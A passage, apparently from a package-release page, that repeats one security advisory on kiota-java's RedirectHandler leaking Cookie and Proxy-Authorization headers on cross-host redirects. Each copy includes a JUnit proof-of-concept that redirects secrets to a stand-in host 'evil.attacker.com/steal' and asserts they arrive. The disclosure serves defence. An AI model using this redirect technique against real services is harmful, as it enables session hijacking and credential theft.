.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 03, 2024

1.12.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 26, 2024

1.12.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 22, 2024

1.12.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 20, 2024

1.11.3 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 16, 2024

1.11.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0
